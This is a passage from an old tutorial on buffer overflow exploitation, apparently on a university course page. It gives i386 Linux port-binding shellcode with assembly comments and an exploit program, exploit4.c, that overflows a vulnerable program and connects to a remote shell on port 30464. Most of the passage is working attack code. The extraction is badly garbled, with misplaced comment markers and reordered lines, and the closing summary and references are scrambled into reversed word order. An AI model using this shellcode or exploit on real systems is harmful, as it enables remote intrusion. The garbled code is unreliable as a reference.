"\xb0\x66"
/* movb $0x66,%al
*/
"\xb3\x04"
/* movb $0x4,%bl
*/
"\xcd\x80"
/* int $0x80
"\x31\xc0"
/* xorl %eax,%eax
*/
*/
"\x89\x46\x04"
/* movl %eax,0x4(%esi) */
"\x89\x46\x08"
/* movl %eax,0x8(%esi) */
"\xb0\x66"
*/
/* movb $0x66,%al
*/
*/
"\xb3\x05"
/* movb $0x5,%bl
"\xcd\x80"
/* int $0x80
"\x88\xc3"
/* movb %al,%bl
*/
"\xb0\x3f"
/* movb $0x3f,%al
*/
"\x31\xc9"
/* xorl %ecx,%ecx
*/
"\xcd\x80"
/* int $0x80
"\xb0\x3f"
/* movb $0x3f,%al
*/
"\xb1\x01"
/* movb $0x1,%cl
*/
"\xcd\x80"
/* int $0x80
"\xb0\x3f"
/* movb $0x3f,%al
*/
"\xb1\x02"
/* movb $0x2,%cl
*/
"\xcd\x80"
/* int $0x80
"\xb8\x2f\x62\x69\x6e"
"\xb8\x2f\x73\x68\x2f"
"\x31\xc0"
*/
*/
*/
*/
/* movl %eax,(%esi)
*/
/* movl $0x2f68732f,%eax */
/* %eax="/sh/"
"\x89\x46\x04"
*/
/* movl $0x6e69622f,%eax */
/* %eax="/bin"
"\x89\x06"
*/
*/
/* movl %eax,0x4(%esi) */
/* xorl %eax,%eax
*/
"\x88\x46\x07"
/* movb %al,0x7(%esi)
"\x89\x76\x08"
/* movl %esi,0x8(%esi) */
"\x89\x46\x0c"
/* movl %eax,0xc(%esi) */
"\xb0\x0b"
/* movb $0xb,%al
*/
"\x89\xf3"
/* movl %esi,%ebx
*/
*/
"\x8d\x4e\x08"
/* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c"
/* leal 0xc(%esi),%edx */
"\xcd\x80"
/* int $0x80
"\x31\xc0"
/* xorl %eax,%eax
*/
"\xb0\x01"
/* movb $0x1,%al
*/
"\x31\xdb"
/* xorl %ebx,%ebx
*/
"\xcd\x80"
/* int $0x80
"\xe8\x5b\xff\xff\xff";
/* call -0xa5
*/
*/
*/
---------------------------------------------------------------------------6.4 Exploit vulnerable4 program
With this shellcode, you can make an exploit code easily. And You have to
make code which connects to the socket.
exploit4.c
---------------------------------------------------------------------------#include
#include
#include
#include
#include
#define ALIGN
#define OFFSET
0
0
#define RET_POSITION
#define RANGE
#define NOP
1024
20
0x90
char shellcode[]=
"\x31\xc0"
/* xorl %eax,%eax
*/
"\xb0\x02"
/* movb $0x2,%al
*/
"\xcd\x80"
/* int $0x80
"\x85\xc0"
/* testl %eax,%eax
"\x75\x43"
/* jne 0x43
*/
"\xeb\x43"
/* jmp 0x43
*/
"\x5e"
/* popl %esi
*/
*/
*/
"\x31\xc0"
/* xorl %eax,%eax
*/
"\x31\xdb"
/* xorl %ebx,%ebx
*/
"\x89\xf1"
/* movl %esi,%ecx
*/
"\xb0\x02"
/* movb $0x2,%al
*/
"\x89\x06"
/* movl %eax,(%esi)
"\xb0\x01"
/* movb $0x1,%al
"\x89\x46\x04"
"\xb0\x06"
"\x89\x46\x08"
*/
*/
/* movl %eax,0x4(%esi) */
/* movb $0x6,%al
*/
/* movl %eax,0x8(%esi) */
"\xb0\x66"
/* movb $0x66,%al
*/
"\xb3\x01"
/* movb $0x1,%bl
*/
"\xcd\x80"
/* int $0x80
"\x89\x06"
/* movl %eax,(%esi)
"\xb0\x02"
/* movb $0x2,%al
*/
*/
*/
"\x66\x89\x46\x0c"
"\xb0\x77"
"\x66\x89\x46\x0e"
/* movw %ax,0xc(%esi)
/* movb $0x77,%al
*/
/* movw %ax,0xe(%esi)
"\x8d\x46\x0c"
/* leal 0xc(%esi),%eax */
"\x89\x46\x04"
/* movl %eax,0x4(%esi) */
"\x31\xc0"
"\x89\x46\x10"
"\xb0\x10"
"\x89\x46\x08"
/* xorl %eax,%eax
/* movl %eax,0x10(%esi) */
/* movb $0x10,%al
*/
/* movl %eax,0x8(%esi) */
/* movb $0x66,%al
*/
"\xb3\x02"
/* movb $0x2,%bl
*/
"\xcd\x80"
/* int $0x80
*/
"\xeb\x04"
/* jmp 0x4
*/
"\xeb\x55"
/* jmp 0x55
*/
"\xeb\x5b"
/* jmp 0x5b
*/
"\xb0\x01"
/* movb $0x1,%al
*/
/* movl %eax,0x4(%esi) */
"\xb0\x66"
/* movb $0x66,%al
*/
"\xb3\x04"
/* movb $0x4,%bl
*/
"\xcd\x80"
/* int $0x80
"\x31\xc0"
/* xorl %eax,%eax
*/
*/
"\x89\x46\x04"
/* movl %eax,0x4(%esi) */
"\x89\x46\x08"
/* movl %eax,0x8(%esi) */
"\xb0\x66"
/* movb $0x66,%al
*/
"\xb3\x05"
/* movb $0x5,%bl
*/
"\xcd\x80"
/* int $0x80
"\x88\xc3"
/* movb %al,%bl
*/
"\xb0\x3f"
/* movb $0x3f,%al
*/
"\x31\xc9"
/* xorl %ecx,%ecx
*/
"\xcd\x80"
/* int $0x80
"\xb0\x3f"
/* movb $0x3f,%al
*/
"\xb1\x01"
/* movb $0x1,%cl
*/
"\xcd\x80"
/* int $0x80
"\xb0\x3f"
/* movb $0x3f,%al
*/
"\xb1\x02"
/* movb $0x2,%cl
*/
"\xcd\x80"
/* int $0x80
"\xb8\x2f\x62\x69\x6e"
*/
*/
"\xb0\x66"
"\x89\x46\x04"
*/
*/
*/
*/
*/
/* movl $0x6e69622f,%eax */
"\x89\x06"
/* movl %eax,(%esi)
"\xb8\x2f\x73\x68\x2f"
"\x89\x46\x04"
"\x31\xc0"
*/
/* movl $0x2f68732f,%eax */
/* movl %eax,0x4(%esi) */
/* xorl %eax,%eax
*/
"\x88\x46\x07"
/* movb %al,0x7(%esi)
"\x89\x76\x08"
/* movl %esi,0x8(%esi) */
"\x89\x46\x0c"
/* movl %eax,0xc(%esi) */
"\xb0\x0b"
/* movb $0xb,%al
*/
"\x89\xf3"
/* movl %esi,%ebx
*/
*/
"\x8d\x4e\x08"
/* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c"
/* leal 0xc(%esi),%edx */
"\xcd\x80"
/* int $0x80
"\x31\xc0"
/* xorl %eax,%eax
*/
"\xb0\x01"
/* movb $0x1,%al
*/
"\x31\xdb"
/* xorl %ebx,%ebx
*/
"\xcd\x80"
/* int $0x80
"\xe8\x5b\xff\xff\xff";
/* call -0xa5
*/
*/
*/
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can't resolve host.\n");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}
int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shell\n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can't create socket\n");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can't connect to the shell\n");
exit(0);
}
return sockfd;
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
int sockfd;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i< poslug group postech.edu http: Group User Linux Postech PosLUG plus
Security Unix Laboratory PLUS ~ohhara ohhara@postech.edu Oh Taeho -- ------------------------------------------------------------------------------ ------------------------------------------ ^_^ members. thanks
Special Written :( English. poor my Sorry Etc 9. ADM remote ADMmountd duke wu-ftpd Aleph1
Profit Fun Stack Smashing References 8. CAREFUL!!!!! BE PLEASE program!!! or careful MUST
programers All combined. techniques these addition, code. useful These socket. chroot, break 0,
filtering, are They techniques. four introduced paper Summary 7. service rpc port. unfiltered
firewall, behind host 6.5 shell Connect exploit4 Can?t exploit4* 20:25 7973 vulnerable4* 20:21
4091 vulnerable4 exec_sh(sockfd); sockfd='connect_sh(getip("127.0.0.1"));' sleep(5); exit(0);
vulnerable4?,?vulnerable4?,buff,0); if(fork()="=0)">
© 2002 T. P. Baker & Florida State University. No part of this publication may be reproduced, stored in a retrieval system, or transmitted in
any form or by any means without written permission. (Last updated by $Author: cop4610 $ on $Date: 2002/09/02 20:27:19 $.)
Download